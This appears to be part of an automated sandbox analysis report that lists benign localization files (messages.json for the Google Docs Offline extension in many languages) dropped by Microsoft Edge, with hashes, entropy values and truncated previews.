Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

